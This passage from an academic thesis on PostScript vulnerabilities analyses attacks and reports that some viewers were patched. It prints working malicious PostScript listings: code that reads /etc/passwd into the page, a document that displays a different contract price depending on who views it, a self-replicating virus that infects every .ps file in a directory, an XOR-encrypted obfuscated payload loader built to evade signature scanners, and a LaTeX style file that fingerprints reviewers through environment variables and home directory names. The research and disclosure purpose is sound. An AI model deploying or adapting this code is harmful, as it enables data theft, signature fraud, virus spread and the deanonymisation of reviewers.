ciously prepared document. As discussed in Section 4.3, the supported operations
depend on the PostScript interpreter that is used to display the document. The
first and second attack only work if file access is permitted, which is (fortunately)
prevented for some interpreters (see Section 4.3 for a comprehensive list). The
third attack, however, does not necessarily depend on file access, and thus is
effective on essentially any interpreter.

4.4.1 Deleting Files

A rather obvious problem is that still some PostScript interpreters allow docu-
ments to delete files from the local file system. A maliciously prepared PostScript
document deleting all files from the current working directory is shown in List-
ing 4.2. We highlight the following details of the program:

• Lines 8 and 9 define custom error handlers. An /invalidfileaccess er-
ror can occur if GhostScript’s SAFER option prevents the document from
deleting files. In this event we clean the stack by removing the two topmost
elements and display the message blocked in the document.

The operator filenameforall iterates over files and directories. The error
/ioerror can occur, e.g., if a file is write-protected, or if it is a non-empty
directory. In this event we clear the stack and proceed quietly.
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1 %!PS
2 /Courier 16 selectfont % Standard Setup
3 70 700 moveto
4

5 errordict /undefinedfilename {pop pop} put
6

7 (/etc/passwd) (r) file % Open file
8 1 1 10 { % Read ten lines
9 dup 200 string readline

10 {show} if % Display if read successfully
11 } for
12 showpage

Listing 4.3: A document displaying sensitive information obtained from the local file
system.

• The loop from line 12 to 14 iterates over all filenames and directory names
in the current working directory, and calls the procedure deletefile.

Fortunately, most current versions of PostScript interpreters prevent this attack.
While Adobe Distiller Version 7 permitted this attack, in Version 8 file access is
prevented. The Evince document viewer version 2.26.1 as shipped with Ubuntu
9.04 still allows deleting files, but the latest version is patched.

It is worth noting that more subtle harm can be done if write access is per-
mitted: it is possible to overwrite executable files with arbitrary malicious code,
e.g., to implant Trojan horses into the system.

4.4.2 Leaking Secret Information

Another obvious problem originates from the read access that some PostScript
interpreters grant, as this naturally leads to a potential information leak. List-
ing 4.3 shows a simple PostScript document that reads, e.g., the password file
on operating systems of the Unix-family and displays the content in the docu-
ment. This is applicable in scenarios when one can trick the victim to print out
a document for somebody else and handing it over. This is true in a variety of
settings, e.g., when printing a document, signing it, and sending it back by mail
or fax. Note that the information can also be embedded in a more subtle way
using steganographic techniques similar to those we use in Section 4.6, and that
the information can be aggregated before embedding it in the document. We
highlight some details of the program.

• In line 5, we re-define the error handler for the /undefinedfilename error
to fail quietly.
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1 %!PS
2 /Courier 10 selectfont % Standard Setup
3 100 600 moveto
4

5 (username) getenv % Read environment variable
6

7 { (Alice) eq } % If successfull compare with name...
8 { false } ifelse % ...otherwise write false
9

10 { (Price: 100$.) show } % Show low...
11 { (Price: 1000$.) show } % ...or high price
12 ifelse
13 showpage

Listing 4.4: A document changing the displayed text on different computers, thus
defying electronic signatures.

• The loop from line 8 to 11 reads ten lines from the password file and displays
them in the document.

4.4.3 Fooling Electronic Signatures

Electronic signatures protect the integrity of a file, e.g., when sending it over
an insecure network. Successful verification of the electronic signature guaran-
tees that the file was not altered in the transmission, neither accidentally, nor
maliciously. However, when dealing with PostScript documents, it is crucial to
distinguish the file and the document which is displayed, as a single file might
be displayed differently on different computers. (We have seen a simple example
already in Section 4.4.2, where the displayed document changed with the con-
tent of the password file.) In this section we demonstrate a more sophisticated
example with such a behavior.

Consider the example where Alice buys a bike from Bob, where the transac-
tion it carried out electronically and the (electronic) contract is available as a
PostScript file. Alice is viewing the contract, which was prepared by Bob, on
her computer. She agrees with the price of 100 $, as displayed in the document,
signs it electronically, and hands it back to Bob. We demonstrate how Bob can
prepare the document in such a way that the price of 100$ is displayed on Alice’s
computer only, and on any other computer the displayed price is 1000 $. When a
judge is viewing the document on his computer there is no (obvious) indication
that Alice signed a contract with a price different from 1000 $.

A simple example of such a document is given in Listing 4.4. It uses the
content of an environment variable to identify Alice’s computer, but other sources
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of information can be used as well. In Section 4.6.4 we will discuss more ways to
identify the identity of the user. We highlight some details of the program.

• In line 5, we read the environment variable username. The result is pushed
on the stack, with a Boolean variable indicating if the variable was found.

• If the variable was found then in line 7 the result is compared with a fixed
string that represents the username, returning a Boolean value; otherwise
false is pushed on the stack in line 8.

• If the result from the previous step is true then the procedure defined in
line 10 is executed, i.e., a price of 100$ is displayed, otherwise the procedure
in line 11 is executed, i.e., a price of 1000 $ is displayed.

The identification of the user can also be based on the name of certain directories,
e.g., the user’s home directory, or on author-tags in files found in the local file
system, where such tags can be found, e.g., in Microsoft Office files or many
source code files or any combination of these, see also Section 4.6.4.

4.5 PostScript Viruses

In this section we demonstrate a PostScript document that reproduces itself and
thus can be used to spread malicious code. We are not interested in the actual
damage that the virus can do, but concentrate on the mechanisms for reproducing
and hiding from a (malware-) detector such as a virus scanner. Again, current
versions of most PostScript interpreters are immune to this attack. However,
Adobe Distiller Version 7 and the Evince document viewer v. 2.26.1 as shipped
with Ubuntu 9.04 permitted the attack.

4.5.1 Self-Reproducing Code

A central aspect of viruses is their ability to replicate themselves, i.e., the abil-
ity to spread without the user’s intent (most viruses still rely on some form
of user-action, e.g., starting a supposedly innocent program). In the following,
we present self-replicating code written in PostScript. This can be seen as an
improvement over previous attempts to write a platform-independent computer
virus [76], which required both TEX and GNU Emacs, whereas our code solely
requires a PostScript viewer.

An example of self-reproducing code is shown in Listing 4.5. When executing
this code, an arbitrary document can be displayed. At the same time, unnoticed
by the user, the code is appended to any PostScript file it can find. We highlight
some aspects of the code.

• Line 1 to line 5 constitute an ordinary PostScript document displaying an
arbitrary document.
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1 %!PS
2 /Courier 10 selectfont % Standard setup
3 100 600 moveto
4 (Some innocent−looking text) show showpage
5

6 %%magic−lakdjs%%
7 /curfname (virus.ps) def % Save for later use
8 (∗.ps) { % For all PostScript files do:
9 /newfname exch def % Save filename in variable

10 newfname (r) file /tmp exch def % Open target file
11 /found false def % Define Boolean variable
12 {
13 tmp 256 string readline % Read line...
14 not {exit} if % ...abort if end of file
15 (%%magic−lakdjs%%) % Search for magic string
16 eq {/found true def} if % Set variable if found
17 } loop
18 tmp closefile
19 found not { % If magic string not found:
20 curfname (r) file /in exch def % Open current file for reading
21 newfname (a) file /out exch def % Open target file for writing
22 { % Find begining of code
23 in 256 string readline % Read string
24 not {exit} if % Exit if error occured
25 dup (%%magic−lakdjs%%)
26 eq {exit} if % Exit if magic key is read
27 } loop
28 in 256 string readline {pop} if % Skip def of curfname
29 out (%%magic−lakdjs%%\n)
30 writestring % Write magic code
31 out (/curfname \() writestring % Write new curfname
32 out newfname writestring
33 out (\) def \n) writestring
34 {
35 in 256 string readline % Read string...
36 not {exit} if % Abort if reached end of file
37 out exch writestring % ...and write it to destination
38 out (\n) writestring
39 } loop
40 out closefile % Close files
41 in closefile
42 } if
43 } 256 string filenameforall

Listing 4.5: Self-replicating code written in PostScript.
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• The comment in Line 6 serves as indicator of the beginning of the self-
reproducing code.

• Line 7 defines the current file name, which is required to open the file for
reading.5

• Line 8 starts a loop (ending in Line 43) which loops over all PostScript files
in the working directory. The body of the loop is called for each PostScript
file, putting the filename on top of the stack before calling the function
body.

• Line 9 stores this filename.

• The loop from line 12 to line 17 checks if the destination file is already
infected by searching for the identifier (Line 6).

• Lines 20 and 21 open both the source file and the destination file.

• The loop from Line 22 to Line 27 loops over the current (source) file to find
the identifier (in Line 6).

• Line 28 to Line 33 skip the definition of the current file name and substitute
it with the correct (target) filename.

• The loop from Line 34 to Line 39 copies the code from the source file to
the target file.

4.5.2 Defining Undetectability

Modern viruses often try to hide their presence from virus-scanners to protect
themselves from removal. Most such techniques are based on heuristics, i.e., there
is no guarantee that they actually prevent detection, and in fact most of these
heuristics can be circumvented. In this section, our goal is to achieve provable
undetectability, i.e., we want to be able to prove that no virus scanner (from a
suitably restricted class of virus scanners) can detect the virus code.

Our concept of undetectability is closely related to the concept of program
obfuscation. Traditionally, obfuscation is more an art than a science: A series of
transformations, ranging from renaming variables, adding dead code, or changing
the control flow graph of the program, is applied to make reading and under-
standing the program harder, in particular for humans, and some extent also for
automatic program analyzers. Some programmers even obfuscate their programs
for fun and participate in contests [56].

The modern notion of obfuscation [16] is defined with the help of the following
game: An efficient machine O takes a program P as input and outputs a pro-
gram O(P ) which computes the same function as P (functionality). We say O

5There is also an operator currentfile which returns a handle to the currently opened file.
However, we found that this does not work with the Evince document viewer.
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is an obfuscator (and computes an obfuscation) if and only if, to an efficient
distinguisher D, the program O(P ) does not leak more information than oracle
access to P does (virtual black-box property). Obfuscation has been proven to be
impossible in general [16] – yet for (very) restricted classes of functions such as
point functions, obfuscation was shown to be possible [128]. (Point functions are
functions that assume the value 1 for exactly one input, and 0 otherwise. They
play an important role in user authentication.)

The key difference between undetectability and obfuscation is the following:
while for obfuscation the computed function remains unchanged, for undetectabil-
ity we require a change in the computed function (the actual damage done by
the virus) and want this change to go unnoticed. This change in functionality is
clearly detectable given oracle access to the function, thus the definition of obfus-
cation clearly cannot be fulfilled if the detector has enough computing power to
execute the program.6

Our approach is to restrict the capabilities of the detector, such that it cannot
execute the virus code any more. Restricting the computational power of the virus
scanner is motivated by practice, as a virus scanner has to process a large number
of files without noticeably slowing down the system.

Intuitively, a virus scanner according to our definition is specified by a dictio-
nary of virus signatures, where a signature consists of a sequence of PostScript
tokens7 (where no sequence consists of a single token, and the sequence {} def

is also not contained in the dictionary). For scanning a file, each entry in the
dictionary is searched for in the scanned files, and a match indicates that a virus
is found. We formalize this intuition in the sequel.

For a PostScript program P , we distinguish its output and its final state. The
output ΦP (x) of P on input x denotes the rendered document, whereas the final
state ϕP (x) denotes the state of all variables of P when executed on input x. We
use the term variables for all objects that are used as keys in the dictionaries,
we use the term input for all information which is available to the document.
If D is a distribution then x ← D means that x is chosen according to the

distribution D, if S is a set, then x
R
← S means that x is chosen uniformly at

random from the elements of S. We want to keep our definition independent of
the actual damage of the virus, so we model the damage abstractly, as output
that occurs at a designated variable with name bad , which is independent from
the usual final state of the program. An embedder is a program that embeds a
virus into a legitimate program.

6Note that activating the virus only in, say, 10% of the executions does not help because
whenever the virus becomes active it can be detected; if he becomes active very rarely, then it
cannot do too much harm. Note further that current malware is actively trying to prevent this:
they exploit techniques to detect if they are run in a sandbox and do not become active in these
cases. (The Conficker worm does this [116], as well as the Storm worm [135]. There is a set of
known techniques (see, e.g., [97, 104, 90]) to detect this behavior.)

7This seems to be close to the behavior of real-world virus-scanners. Kaspersky defines a
virus signature as “a unique sequence of bytes used [. . . ] to identify [. . . ] malicious code” [60].
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Definition 1 Let P be a program using a set of variables Vars(P ), and let a
security parameter n ∈ N be given.

• Fix a set of variables bad indicating infection, w.l.o.g. bad ∩Vars(P ) = ∅.8

• An embedder (for a virus V ) is a randomized algorithm EV that takes as
input a program P and the security parameter n (in unary encoding), and
outputs a program EV (1n, P ) such that:

– (Restricted Semantic Equivalence) For all x, ΦEV (1n,P )(x) = ΦP (x).

– (Embedding) After executing EV (1n, P ) on input x, we have val(bad) =
ϕV (x).

– (Polynomial Growth) There exists a polynomial p such that for all P ,
|EV (1n, P )| ≤ p(|P |+ |V |+ n), for large enough n.

Next, we define undetectability with respect to a restricted class of detectors,
so-called token-dictionary detectors:

Definition 2 Let a security parameter n ∈ N and a set of the tokens Token,
where PostScript is composed of, be given.

• A token-dictionary is a set S ⊂ Token∗ =
⋃∞

i=1 Token i, whose size |S| is
polynomial in n.

• The token-dictionary S is valid if and only if no single token is in S (i.e.,
Token ∩ S = ∅) and “{} def” 6∈ S.

• The detector DS(Q) for a token-dictionary S is defined as follows: On
input a PostScript program Q, DS(Q) outputs 1 if and only if there is an
s ∈ S which is a subsequence of the sequence of tokens that form Q.

• Let V be a virus with embedder EV . We say EV is token-set-undetectable if
and only if there is no valid token-dictionary S (with corresponding token-
set-detector DS) such that for all P (of polynomial length)

DS(P ) = 0 ⇒ Pr [DS(EV (1n, P ))] is negligible (in n).

The class of detectors we define above is very restrictive, so we briefly explain
some problems that we faced when searching for broader and more general notions.
One possible modification considers dictionaries that contain arbitrary strings
instead of sequences of tokens, where the detector matches these with substrings
of the PostScript code. One fundamental problem with this approach is to define

8Here we just need any variable names that is not already in use by the program. The
variable names that a PostScript program uses may depend on external input to the program,
so there are programs that use every variable name. We can counter this problem by allowing
that the variable names depends on the input as well.
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which substrings can be admitted in the dictionary; in our definition basing on
tokens this problem is naturally solved by disallowing single tokens from the
dictionary. Another (major) modification allows arbitrary virus scanners with
a publicly known runtime bound; an embedder can, e.g., “exhaust” the virus
scanner by requiring a computational effort to decrypt the payload that is larger
than the run-time bound of the scanner. However, this approach seems to be far
from virus scanners in reality and we did not further pursue this approach.

Finally, a more general definition might additionally require that not only
the embedder, but also the virus itself, is undetectable: Our definition does not
consider that, once a virus is embedded into a particular program, the dictionary
can be adapted to this specific instance of the virus and all descendants of this
instance then can be detected.

4.5.3 Implementing the Virus

In this section we show an embedder that can embed arbitrary virus code and
prove its undetectability according to the above definition of a token-dictionary
detector. The main ideas in the construction of the embedder are the following:
(i) The virus V to be embedded is encrypted using a simple One-time Pad, and
the key is stored along with the ciphertext. It is decrypted at the runtime of
the program using a small fragment of code which is the same for any virus V .
(ii) The decryption function is obfuscated by substituting all required operators
with random names; these definitions of operators are organized such that no
detectable pattern can be found there. The idea to encrypt the payload also
appeared earlier [46], and the techniques used to obfuscate the decryption routine
are similar to established code transformation techniques [35], [132]. We develop
the final implementation over several steps to increase readability.

Encrypting the Virus Payload. The virus V which is to be embedded is
encrypted in order to prevent the virus scanner to detect it. Encryption is per-
formed offline in a Perl module we describe below. The decryption needs to
be implemented in PostScript, as it needs to run at runtime. It is shown in
Listing 4.6.

• Line 2 defines a string in hexadecimal representation that holds the en-
crypted string and the corresponding key (this string is omitted in the
listing to increase readability).

• Line 3 defines a counter.

• Line 4 defines an empty string which is large enough to hold the decrypted
routine, where length1 is defined at encryption time.

• The loop from line 5 to line 14 decrypts the encrypted string and puts it
into a string. This string is then converted as executable and executed in
line 15. In more detail:
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1 [...]
2 /vcode <[[code]]> def % String holding ciphertext and key
3 /counter 0 def
4 /result length1 string def % Define string of succicient length
5 {
6 result counter 2 idiv % Compute position to write
7 vcode counter get % Get one character...
8 vcode counter 1 add get % ...and the other one ...
9 xor % ...and XOR them...

10 put % ...and write back the result
11 /counter counter 2 add def % Increment counter...
12 counter length2 eq % ...and check if we reached the end
13 { exit } if
14 } loop
15 result cvx exec % Convert to executable and execute
16 [...]

Listing 4.6: The decryption routine in clear.

– Lines 7 and 8 load two subsequent characters from the string, compute
the XOR in line 9, and store it in the string result in line 10.

– The counter is incremented in line 11.

– Lines 12 and 13 test if the counter has reached the final value.

Output of the Embedder. Next, the decryption routine is obfuscated by
defining new operators with random names substituting all operator calls in the
decryption routine. The random names are chosen uniformly over all strings
of length n (where n is the security parameter), over an alphabet of size T .
Additionally, we arrange the code such that no two non-random tokens are placed
next to each other, except {} def. The resulting code is given in Listing 4.7. We
highlight important aspects of the code.

• Line 3 defines an empty procedure with a random name.

• This function is inserted in all definitions of the remaining operators from
line 4 to 17.

• Line 19 defines the encrypted string.

• The code fragment from line 19 to line 40 is the encrypted version of the
decryption routine shown in Listing 4.6.

• The original document starts in line 41.
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The actual embedder who performs these steps is written in Perl; we omit its
source code, as it is a straight-forward implementation of the techniques described
above.

The Embedder is Token-dictionary Undetectable. Finally, we show that
the embedder we have shown above provides token-dictionary undetectability as
given in Definition 2. Let n be the security parameter, S a valid dictionary, and
let DS be the corresponding detector. Let P be a program with DS(P ) = 0. The
embedding E := EV (1n, P ) is formed by pre-pending the code fragment shown
in Listing 4.7 (except the last three lines) to the program P . We know by the
assumption that P does not match any subsequence contained in S.

The embedded code has no two subsequent tokens that are not chosen ran-
domly (except {} def). Since no element in S can consist of a single token (and
{} def is excluded), every matching sequence s = s1 . . . sl ∈ S has to hit at least
one randomly chosen token of the program output, i.e. ∃ŝ ∈ {s1, . . . , sl} such
that ŝ matches a randomly chosen token. But S is chosen independently of the
randomized tokens, which means that the probability of hitting the exact one is
small: The probability for ŝ to hit a random token (of length n) is at most ( 1

T
)n,

this is also an upper bound for the probability that a single dictionary entry s
matches at a specific position. Consequently, the overall probability to hit, i.e.
for Pr[AS(EV (P )) = 1], is smaller than ( 1

T
)n · |S| · |P |, which is negligible.

4.6 Information Flow in the Peer-Reviewing Process

In scientific publishing, the so-called peer-review process is often used to select
work for publication. In peer-review, submitted work is sent to other scientists
in the same field, the reviewers; the selection process is mainly based on their
evaluation. There is common agreement that the identity of the reviewer should
be unknown to the author, and often also the other way round, in order to assure
fairness. In this section we demonstrate how a maliciously prepared PostScript
document can be used to reveal the reviewer’s identity to the author, thus under-
mining privacy.

4.6.1 Information Flow in Electronic Publishing

Let us first consider the information flow that naturally appears in the electronic
publishing process. Usually, the user Alice prepares a document on computer A.
This document is transferred, usually via the conference organizer or the editor
of the journal, to the computer B of the reviewer Bob. Then Bob reads the
document as rendered by computer B, either on screen or after printing the
document. The information flow of this process is depicted by the solid arrows
in Figure 4.1 (a).
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1 %!PS
2 /pzyzvf {} def
3 /wzmdpz {pzyzvf def pzyzvf } def
4 /vxoxqh { pzyzvf load pzyzvf} wzmdpz
5 /jycozy { pzyzvf idiv pzyzvf} wzmdpz
6 /wvolve { pzyzvf add pzyzvf} wzmdpz
7 /dzsuie { pzyzvf get pzyzvf} wzmdpz
8 /gyrygf { pzyzvf xor pzyzvf} wzmdpz
9 /hmeuho { pzyzvf put pzyzvf} wzmdpz

10 /kgbukf { pzyzvf eq pzyzvf} wzmdpz
11 /valgsi { pzyzvf if pzyzvf} wzmdpz
12 / tfitos { pzyzvf exit pzyzvf} wzmdpz
13 /aedcdv { pzyzvf loop pzyzvf} wzmdpz
14 /dbccqz { pzyzvf cvx pzyzvf} wzmdpz
15 /ccfokx { pzyzvf exec pzyzvf} wzmdpz
16 /pqaozx { pzyzvf string pzyzvf} wzmdpz
17

18 /mroyqf <026f17763d4f0a614767183723412b4a46224060557d673735472
19 14e016655273859462b6b4249694d294e2b284e5474305325494a2f04654b3
20 942362d425b3649283d4f066d1f3f395a5f334b2e2f4e493b492d1f7631521
21 86c087b5d2925444625365d> wzmdpz
22 /peuosm 0 wzmdpz
23 /qiwjle 50 pqaozx wzmdpz
24 {
25 /qiwjle vxoxqh /peuosm vxoxqh 2 jycozy
26 /mroyqf vxoxqh /peuosm vxoxqh dzsuie
27 /mroyqf vxoxqh /peuosm vxoxqh 1 wvolve dzsuie
28 gyrygf
29

30 hmeuho
31 /peuosm peuosm 2 wvolve wzmdpz
32 /peuosm vxoxqh
33 100
34 kgbukf { tfitos } valgsi
35 }
36 aedcdv
37 /qiwjle vxoxqh
38 dbccqz
39 ccfokx
40 /Courier 20 selectfont 50 200 moveto
41 (Hello World!) show showpage

Listing 4.7: Example output code
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Figure 4.1: Information flow in electronic publishing, (a) in the general case, (b) in the
special case of peer-reviewing.

However, for PostScript documents this description is incomplete. Since
PostScript is a Turing-complete programming language, the rendered document
may depend in an arbitrary manner on the data accessible to the PostScript
document. This data may contain some of Bob’s private information stored on
computer B, depending on the particular implementation of the PostScript inter-
preter (c.f. Section 4.3). In this light, it is necessary to extend the information
flow diagram by another arrow (depicted by a dashed arrow below computer B
in Figure 4.1 (a)).

It is this idea of information flow that often underlies, although not explicitly
stated, the security considerations concerning PostScript code; this idea also
governs the design decisions whether language features have to be disabled or
whether they may be available to untrusted documents. In this model, Bob’s
private information only flows to Bob, but not back to Alice. This is usually
considered to be harmless. As a consequence, in common implementations the
access to the private information is not as restricted as it should be. The flow of
information that is usually overlooked in this setting is the human communication
between Alice and Bob, in particular, information flowing from Bob to Alice. So a
complete diagram must contain an additional arrow from Bob to Alice. (In order
to make the presentation more concise, we do omit arrows that are irrelevant to
our discussion.) Including this back-channel, we finally get the situation depicted
in Figure 4.1 (a). Presented in this form, one immediately sees that Bob’s private
information might in fact flow to Alice.

At this point, one might object that this back-channel is not a security threat
since it is not under Alice’s control and since the human being Bob will not tell
Alice any confidential information even if that information are contained in the
rendered document. This believe, however, is incorrect, as Bob may talk to Alice
about seemingly harmless information, which may convey the private information
through a covert channel.
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4.6.2 The Peer-Reviewing Process

The reviewing process in scientific publishing is usually implemented as a peer-
reviewing process, the main reason being that reviewing scientific papers requires
in-depth knowledge of the subject to judge on its correctness, novelty, and qual-
ity. However, judging the work of colleagues potentially bears the danger that
decisions are influenced by political considerations, especially if the author whose
work is being reviewed is aware of the identity of the reviewer. In particular,
younger researchers might be afraid to openly contradict established and influ-
ential members of the community. For this reason, during a peer-review, the
identity of the reviewer (and often also of the authors) should be kept secret.

In this light, the identity of the reviewer, which is usually known to the
reviewer’s computer, should be considered as private information whose confiden-
tiality must be ensured. By applying the considerations of the preceding section
to the peer-reviewing process, we see that the information flow is as depicted in
Figure 4.1 (b). It turns out that the identity of the reviewer is indeed accessible
to untrusted documents in many PostScript implementations. A back-channel
is also naturally present in the reviewing process. Since the author usually gets
a reviewer report listing suggestions and mistakes, the author can implement a
back-channel by creating a document that dynamically introduces mistakes that
depend on the identity of the reviewer. Even if the reviewer does only report
part of these errors, using a suitable error-correcting code one can easily transmit
enough information to be able to identify the reviewer in many situations. So the
anonymity of the reviewer is indeed in danger when PostScript is used.

4.6.3 Encoding Data in Errors

Next we discuss how the private information can be encoded into errors. We
concentrate on the case of binary errors, i.e., errors that either occur or do not
occur, but of course errors with higher entropy could be used as well. As an
extreme example, one could insert a random-looking word which is a one-time-
pad encryption of the user name or other confidential information. If the reviewer
sends that word back, decoding is easy, but it is rather unlikely that such a drastic
error is reported back. In the case of binary errors, it is (much) more likely that
an error is reported back, but the encoding and decoding is more involved.

Particularly useful are errors on either letter-level or word-level, i.e., substi-
tuting letters or words, respectively, since these are easily found by a reader, and,
if we restrict ourselves to the case where the erroneous word has the same length
as the correct one, these errors can be easily implemented (cf. Section 4.6.5). We
believe that the errors should be placed in the abstract or the introduction, since
other parts might be read with already lessened concentration. Also, the number
of errors should be kept small, and one should avoid errors that are too obvious,
since otherwise the reviewer might simply recommend a detailed proof reading
instead of listing individual errors.
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n w e N

24 4 3 498
24 4 4 10626
24 5 3 168
24 5 4 1895
24 6 4 532
24 6 5 7078
24 7 4 253
24 7 5 1368
24 8 4 38
24 8 5 759

Table 4.2: Lower bound N on the size A(n, 2w − 2e+ 2, w) of codes suitable for trans-
mitting data in errors.

In order to encode the username (or whatever information we want to trans-
mit), we first transform the username into a natural number: If the set of poten-
tial reviewers is manageable (e.g., a several dozen or even a few hundreds), one
might hard-code the list of reviewers into the document and match the username
against each reviewers and use the index.9 Such a limited reviewer list exists in
many conferences where the submissions are reviewed by the program committee.
If no such list is available, the information to be transmitted needs to be carefully
chosen, e.g., as the initials of the reviewer’s name and his affiliation.

Assume N is an upper bound on the number of reviewers we want to distin-
guish, there are n positions were we may insert an error, we decided to place w
errors in the text, and we assume that the reviewer finds and reports e errors.
This corresponds to codes with at least N codewords, length n, constant Ham-
ming weight w, where any two codewords c1, c2 share at most e− 1 bits that are
set: this holds if and only if at least w−e+1 bits are set only in c1, and w−e+1
bits are only set in c2, i.e., they have Hamming distance at least 2w − 2e+ 2.

The choices of w (and e) are crucial: too small numbers w make the encoding
more difficult, but too large numbers might have the result that the reviewer does
not list individual errors any more.

Let A(n, d,w) denote the size of the largest constant-weight code with code-
word length n, minimal Hamming distance d, and weight w. Then there is a
code satisfying the above conditions if and only if A(n, 2w − 2e + 2, w) ≥ N .
Constant-weight codes are well-studied, e.g., [27, 100] give (constructive) lower
bounds for A(n, d,w) for many parameters. Figure 4.2 gives some concrete num-
bers for this bound. For example, if we decided to encode the first two letters
of the reviewer name and to add a special index to denote failure, then we need
N = 26 ·26+1, and some possible choices for w and e are then (4, 4), (5, 4), (6, 5),

9Of course, the matching routine should be smart enough to match variations of the reviewer’s
full name, such as smith, john, jsmith, johnsmith, john smith, john.smith, etc., with different
variations of upper/lower case and truncated to eight letters.
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(7, 5), and (8, 5). (Note that we have graceful degradation: even if the reviewer
does not find enough errors to fully decode the code, the set of possible decodings
is still quite small.)

4.6.4 Identifying the User

Finally, we provide some details on the implementation. The data which is acces-
sible to the document varies for different PostScript interpreters, see Section 4.3
for a detailed comparison. In particular, if the PostScript document is interpreted
on a printer, the username often is not available at all. However, at least under
Windows, the PostScript code is usually interpreted by the computer even when
printing on a PostScript printer, so in this case the username is available. Under
Unix, the behavior depends strongly on the printer driver and the capabilities of
the printer.

The first step for the PostScript document is to determine the username.
Depending on the PostScript interpreter on the reviewer’s computer, different
methods for reading out the username exist (see also Table 4.1). GhostScript im-
plements a slightly extended set of operations which includes a command getenv

that allows to read out environment variables. The user’s name is usually given
in the environment variable USERNAME under Windows and USER or LOGNAME un-
der Linux. GhostScript is by far the most commonly used PostScript interpreter
of university employees (note that front-ends like Evince, GhostView, GSview,
KGhostView, etc. internally invoke GhostScript). Therefore this approach al-
ready gives us a fair chance of success.

Another reliable source for acquiring the user name is the directory structure
of the computer. Note that, while file access is restricted with some interpreters
such as GhostScript, directories can be listed on almost all implementations using
the command filenameforall. This allows to search, e.g., the home directories
available on the computer. On a single user machine, the user name can be
extracted from the name of the home directory; on a multi-user machine the
name can be extracted if the document is located in the user’s home directory.

Finally, if the document is granted read access to files on the local file system,
one could even open those files and extract, e.g., author tags from file formats
such as LATEX, Microsoft Office, or Open Office, or from the browser’s form cache.

4.6.5 Introducing Dynamic Errors

The second challenge is to implement dynamically changing content in PostScript.
In general, any dynamic change can be implemented, as PostScript is Turing-
complete. However, in practice we do not want to implement a complete type-
setting engine in PostScript, but re-use existing engines like TEX/LATEX for this
purpose. Fortunately, TEX/LATEX allows to include PostScript fragments which
are simply passed to the final document. This PostScript code can then be used
to dynamically show or hide parts of the document. So all we have to do is to
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typeset both the correct and the incorrect spelling at the same place for each error,
and to use the PostScript code to hide one of these spellings. Of course, this ap-
proach requires that the correct and the incorrect spelling take up approximately
the same space.

We implemented a style-file to automate this task, which is shown in List-
ing 4.8; its usage is shown in Listing 4.11. We highlight some aspects of the
usage.

• The package is included just as any package with the \usepackage com-
mand (line 3).

• A list of potential reviewers name is given as a sequence of \psbcaddname
commands (three names in this example) in lines 5 to 7. These are the
names that are searched for by the final PostScript document on the vic-
tims computer. Currently, these strings are searched as substrings of a
number of environment variables, as well as the names of home directories
in C:\Documents and Settings\ and /home/*. This list can easily be ex-
tended if some information about the victims computer is available, e.g.,
which OS is likely to be used.

• In its standard configuration, LATEX maps only those letters from a font
that are actually used in a document. Letters in substitution text are
not recognized by LATEX, thus we give the alphabet in lines 12 and 13 to
force those to be mapped. We prevent this string from being displayed by
enclosing it in \psbchide and \psbcshow. The first redefine PostScript’s
show routine to discard all text, whereas the latter restores the original
show routine.

• Finally, the actual errors are introduced with the \psbcitem and \psbcsep
commands as shown in lines 17 to 22. The first item of the \psbcitem
command specifies text which is not displayed, but rather describes the
amount of space which is reserved in the output. The second argument
is a list of possible (mis-)spellings, enclosed in \psbcsep. In case none
of the specified names is identified, then the first item is displayed (the
default element); if the first name was identified then the second element is
displayed, and so forth.

The style-file (shown in Listing 4.8) is best explained by looking at the out-
put it produces, which is shown (nicely formated to increase readability) in List-
ing 4.12. This preamble file is added to the preamble of the final PostScript
document and thus is executed before anything in the document is displayed.
We highlight some aspects of the output.

• Line 1 defines an array from the names given by the \psbcaddname com-
mand.
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1 \immediate\newwrite\psfile
2 \immediate\openout\psfile=psbc.pro
3 % Start constructing array of user names
4 \immediate\write\psfile{[}
5 % Add item to array of user names
6 \newcommand\psbcaddname[1]{\immediate\write\psfile{(#1)}}
7

8 \AtBeginDocument{
9 % LaTeX command to surpress subsequent output

10 \newcommand{\psbchide}{ \special{ps: psbchide} }
11 % LaTeX command to show subsequent output
12 \newcommand{\psbcshow}{ \special{ps: psbcshow} }
13 % LaTeX command to print users name as recognized
14 \newcommand{\psbcshowname}{ \special{ps: psbcusername show} }
15 % LaTeX item separator used with \psbcitem
16 \newcommand{\psbcsep}[1]{%
17 \rput[lB](0,0){\special{ps: psbcselect}{#1}\special{ps: psbcshow}}
18 }
19 % LaTeX item for usernames
20 \newcommand{\psbcitem}[2]{%
21 \special{ps: psbcreset}#2%
22 \special{ps: psbchide}#1%
23 \special{ps: psbcshow}%
24 }
25 % Close array of user names
26 \immediate\write\psfile{] % end constructing array
27 /psbcnames exch def % define array of usernames
28 /psbcmax psbcnames length def % define length of array
29 }
30 % Write postscript commands to .pro file
31 \immediate\write\psfile{
32 % Convert top−most string to upper−case
33 /uppercase
34 {/s exch def
35 0 1 s length 1 sub{
36 s exch dup s exch get
37 dup 97 ge {32 sub} if
38 put
39 } for
40 s
41 } def

Listing 4.8: The psbc style file (Part 1).

101



Chapter 4 PostScript Vulnerabilities

42 % Find top−most string in psbcnames and define psbcwho as index
43 /find
44 {
45 /s exch def
46 0 1 psbcmax 1 sub
47 {
48 dup s exch psbcnames exch get
49 search {pop pop pop /psbcwho exch 1 add def}{pop} ifelse
50 } for
51 %/psbcusername s def
52 } def
53

54 % Check if getenc is available and define dummy if necessary
55 systemdict /getenv known not {
56 /getenv {pop false} def
57 } if
58 %
59 % Initialize some variables
60 /psbcwho 0 def
61 /psbcusername () def
62 % Check username...
63 % ... for Windows
64 (USERNAME) getenv
65 { uppercase find } if
66 % ... for Linux
67 (LOGNAME) getenv
68 psbcwho 0 eq and
69 { uppercase find } if
70 % ... for Windows
71 (COMPUTERNAME) getenv
72 psbcwho 0 eq and
73 { uppercase find } if
74 % ... for Linux
75 (HOME) getenv
76 psbcwho 0 eq and
77 { uppercase find } if

Listing 4.9: The psbc style file (Part 2).
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78 % ... for Windows
79 (C:/Documents and Settings/∗) {
80 uppercase find
81 } 256 string filenameforall
82 % ... for Linux
83 (/home/∗) {
84 uppercase find
85 } 256 string filenameforall
86 %
87 % Define some more PostScript functions
88 % Save original show routine
89 /psbcoldshow {show} bind def
90 % Initianlize show on
91 /psbcshowbool true def
92 % Define new show which can be switched of
93 /show { psbcshowbool {psbcoldshow}{pop}ifelse } def
94 % Switch show off
95 /psbchide {/psbcshowbool false def} def
96 % Switch show on
